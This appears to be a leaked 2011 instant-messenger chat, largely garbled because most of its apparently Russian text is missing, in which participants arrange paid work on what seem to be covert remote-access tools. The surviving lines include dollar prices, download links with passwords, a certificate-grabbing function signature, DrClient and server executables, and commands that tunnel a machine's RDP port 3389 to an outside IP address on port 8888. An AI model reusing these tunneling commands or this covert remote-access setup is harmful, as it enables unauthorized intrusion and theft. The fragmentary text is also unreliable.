   

 134828229 (11:33:12 13/05/2011)


 134828229 (11:33:16 13/05/2011)
    ?

 446950616 (11:34:22 13/05/2011)
   ,   

 134828229 (11:48:06 13/05/2011)
.

 134828229 (12:20:50 13/05/2011)
webfile . ru /5319061

 446950616 (12:22:09 13/05/2011)
 ?

 134828229 (12:22:44 13/05/2011)
   .      

 134828229 (12:22:44 13/05/2011)


 446950616 (12:23:18 13/05/2011)
  - ...

 134828229 (12:23:46 13/05/2011)

   
    .    
     

 134828229 (12:23:53 13/05/2011)
     500$ ?

 134828229 (12:25:02 13/05/2011)
 
        

 446950616 (12:25:09 13/05/2011)
   , ,      ,   

 134828229 (12:25:27 13/05/2011)
    ?

 134828229 (12:25:43 13/05/2011)
      ? 
 1000$   ?

 446950616 (12:26:16 13/05/2011)
,     

 446950616 (12:26:52 13/05/2011)
  1000$,   

 134828229 (12:27:20 13/05/2011)
     

 134828229 (12:27:25 13/05/2011)
    

 446950616 (12:28:03 13/05/2011)
 -    )

 134828229 (12:28:59 13/05/2011)


 134828229 (12:29:10 13/05/2011)
        vnc

 134828229 (12:29:15 13/05/2011)
      !

 134828229 (12:29:30 13/05/2011)
+        ?

 134828229 (12:30:00 13/05/2011)
     
  
   1000$    ,

 446950616 (12:30:33 13/05/2011)
dll ,   

 134828229 (12:30:54 13/05/2011)
   . . 

 134828229 (12:38:17 13/05/2011)
 

 446950616 (14:44:31 13/05/2011)
   ,    ?

 134828229 (14:53:47 13/05/2011)
 

 134828229 (14:53:52 13/05/2011)
    ?

 446950616 (14:54:16 13/05/2011)
  

 134828229 (14:54:43 13/05/2011)
 

 134828229 (14:54:50 13/05/2011)
  

 446950616 (14:56:05 13/05/2011)
      

 446950616 (14:56:32 13/05/2011)
. .  

 134828229 (15:13:29 13/05/2011)
!

 134828229 (15:13:33 13/05/2011)
     

 446950616 (15:13:58 13/05/2011)
 exe   ,  dll 

 134828229 (15:19:10 13/05/2011)
!

 446950616 (15:40:33 13/05/2011)
,    dll        ,        My   pass.  ?

  (15:43:32 13/05/2011)


  (15:43:35 13/05/2011)
    ?

  (15:43:38 13/05/2011)
    ?

 446950616 (15:45:04 13/05/2011)
9267826789289
zalil . ru / 31031725
  ,   GetSert(char* nameStore,  char* password),  GetSertDefault()
    ,    "pass"

 446950616 (15:45:52 13/05/2011)
  ,    

 446950616 (15:52:54 13/05/2011)
?

  (15:55:13 13/05/2011)


  (15:56:46 13/05/2011)


  (15:56:53 13/05/2011)
       ?

  (15:57:47 13/05/2011)
         .  ?

  (15:58:05 13/05/2011)
       ?

  (15:58:12 13/05/2011)
 

 446950616 (15:58:17 13/05/2011)
        ,     ...

  (15:58:38 13/05/2011)

    
      

  (15:58:48 13/05/2011)
      

 446950616 (15:59:14 13/05/2011)
exe   dll?

  (15:59:15 13/05/2011)
       

  (15:59:20 13/05/2011)

  

  (15:59:32 13/05/2011)
      ?

  (15:59:34 13/05/2011)
    ?

 446950616 (15:59:57 13/05/2011)
    

 446950616 (16:00:10 13/05/2011)
     

  (16:01:14 13/05/2011)
  .    ?

 446950616 (16:01:24 13/05/2011)


  (16:01:43 13/05/2011)

  

  (16:01:53 13/05/2011)
    
       

  (16:02:00 13/05/2011)
       

  (16:02:06 13/05/2011)
       ?

 446950616 (16:02:16 13/05/2011)
 

  (16:02:39 13/05/2011)
        ?     ?

  (16:02:44 13/05/2011)
      

 446950616 (16:03:30 13/05/2011)
   ,  ,  

  (16:03:35 13/05/2011)


  (16:04:27 13/05/2011)
  
      
        :zsbcs.exe listen -ipv4 -bp:8888 -cp:3000

  (16:05:19 13/05/2011)
     
    .        8888 
        3000

  (16:05:36 13/05/2011)
     IP:3000
     

  (16:06:02 13/05/2011)
           portforw 3389 95.168.173.155 8888

  (16:06:20 13/05/2011)
    

  (16:06:38 13/05/2011)
       3389
       

  (16:06:45 13/05/2011)
   .  

  (16:06:49 13/05/2011)
  ?

  (16:07:00 13/05/2011)
http://www.sendspace.com/file/rdeur5
   portforw

  (16:07:05 13/05/2011)
   ?

 446950616 (16:07:36 13/05/2011)


  (16:07:37 13/05/2011)
     .        - 1   

  (16:07:47 13/05/2011)
        100 .

 446950616 (16:08:54 13/05/2011)
        ?

  (16:09:02 13/05/2011)


  (16:09:06 13/05/2011)
 300  

  (16:09:09 13/05/2011)
    

  (16:09:17 13/05/2011)
    .   . ?

  (16:09:25 13/05/2011)
        

  (16:09:39 13/05/2011)
         

 446950616 (16:09:40 13/05/2011)
, 

  (16:09:47 13/05/2011)
         

  (16:09:55 13/05/2011)
       

  (16:10:04 13/05/2011)
  ,

  (16:10:08 13/05/2011)
  .. 

  (16:10:15 13/05/2011)
 .  .    ?

  (16:10:21 13/05/2011)
      

 446950616 (16:10:21 13/05/2011)


  (16:10:28 13/05/2011)
     ?

 446950616 (16:11:13 13/05/2011)
 200$,     ,   

  (16:11:33 13/05/2011)
   

  (16:11:36 13/05/2011)
  

  (16:12:09 13/05/2011)

    
  250$  
    
    

  (16:12:15 13/05/2011)
  .    

  (16:12:21 13/05/2011)
       

 446950616 (16:12:30 13/05/2011)


  (16:12:30 13/05/2011)
   

  (16:12:40 13/05/2011)
        ?

  (16:12:49 13/05/2011)
 13 05   
 

 446950616 (16:12:52 13/05/2011)


 446950616 (16:13:24 13/05/2011)
    exe
zalil . ru /31031859
8647834356732567

  (16:13:56 13/05/2011)

  

  (16:14:08 13/05/2011)
         

  (16:14:10 13/05/2011)
  ?

 446950616 (16:16:18 13/05/2011)
,   

 446950616 (16:17:34 13/05/2011)
    ?

  (16:19:32 13/05/2011)
    !

  (16:19:35 13/05/2011)
    

  (16:23:14 13/05/2011)
 msvcrt.lib
   DrCLient    
  dsf3450-9dsfkjl324-50jklsdfjklsdkljkljfsdf
http://www.sendspace.com/file/am5qhi
    .
   

  (16:23:19 13/05/2011)
    + 

  (16:23:25 13/05/2011)
    

 446950616 (16:27:20 13/05/2011)
 ,  ?

  (16:29:04 13/05/2011)
  ?

  (16:29:08 13/05/2011)
    ?

  (16:29:12 13/05/2011)
 127 0 01  

 446950616 (16:29:29 13/05/2011)
  

  (16:29:35 13/05/2011)
drclient/exe

  (16:29:39 13/05/2011)
.

  (16:29:54 13/05/2011)
   
  open client    

  (16:30:05 13/05/2011)
      

 446950616 (16:30:38 13/05/2011)
 )

  (16:31:34 13/05/2011)
    

  (16:31:35 13/05/2011)
 ?

 446950616 (16:31:41 13/05/2011)


  (16:31:43 13/05/2011)
  desktop 

  (16:31:44 13/05/2011)



  (16:31:58 13/05/2011)
         " " 

  (16:32:17 13/05/2011)
 
     
    server/exe   

  (16:32:24 13/05/2011)
  9000

 446950616 (16:32:40 13/05/2011)
   ?

 446950616 (16:33:57 13/05/2011)
  - ?   

  (16:34:26 13/05/2011)
   

  (16:34:30 13/05/2011)
    

 446950616 (16:35:22 13/05/2011)
    ?

  (16:35:29 13/05/2011)


  (16:35:44 13/05/2011)
         

  (16:35:55 13/05/2011)
    

  (16:36:16 13/05/2011)
     

  (16:36:24 13/05/2011)
     

  (16:36:47 13/05/2011)
    .   .

  (16:37:02 13/05/2011)
.    .   ?

 446950616 (16:37:48 13/05/2011)
   ,  

  (16:38:21 13/05/2011)
       ?

 446950616 (16:38:39 13/05/2011)
  

  (16:38:53 13/05/2011)
       ?    ?

  (16:39:02 13/05/2011)
    2 
 
  

  (16:39:25 13/05/2011)
   .     .  .     .  

 446950616 (16:39:51 13/05/2011)
  

  (16:40:05 13/05/2011)


  (16:40:10 13/05/2011)
   crt   

 446950616 (16:40:23 13/05/2011)
 ?

  (16:40:27 13/05/2011)
    
  

  (16:40:32 13/05/2011)
      

  (16:40:34 13/05/2011)
  

  (16:40:37 13/05/2011)
  )

  (16:40:38 13/05/2011)


  (16:40:46 13/05/2011)
    .    !

  (16:40:50 13/05/2011)
   

  (16:40:56 13/05/2011)
    

 446950616 (16:41:00 13/05/2011)
   MFC

  (16:41:06 13/05/2011)


  (16:41:10 13/05/2011)
      

  (16:41:12 13/05/2011)
    

  (16:41:21 13/05/2011)
     

  (16:41:27 13/05/2011)
     

 446950616 (16:41:47 13/05/2011)
        ?

  (16:41:58 13/05/2011)
 

  (16:42:06 13/05/2011)
   )

  (16:42:14 13/05/2011)
     

  (16:42:21 13/05/2011)
     

 446950616 (16:42:46 13/05/2011)
. .       ?

  (16:42:53 13/05/2011)


 446950616 (16:43:00 13/05/2011)
    ?

  (16:43:06 13/05/2011)
    

  (16:43:08 13/05/2011)


  (16:43:13 13/05/2011)
    100  

  (16:43:32 13/05/2011)
    

  (16:43:36 13/05/2011)
  .  

  (16:43:38 13/05/2011)
  

  (16:43:42 13/05/2011)
     

  (16:43:48 13/05/2011)
  

  (16:44:00 13/05/2011)
   
  

  (16:44:07 13/05/2011)
   
    

  (16:44:20 13/05/2011)
     
   

  (16:44:26 13/05/2011)
    

  (16:44:30 13/05/2011)
+    

  (16:45:20 13/05/2011)
   

   (       )    -     -    -      (     )

  (16:45:28 13/05/2011)
     ?

  (16:45:33 13/05/2011)
    .  ?

 446950616 (16:46:59 13/05/2011)
     ,         

  (16:47:06 13/05/2011)
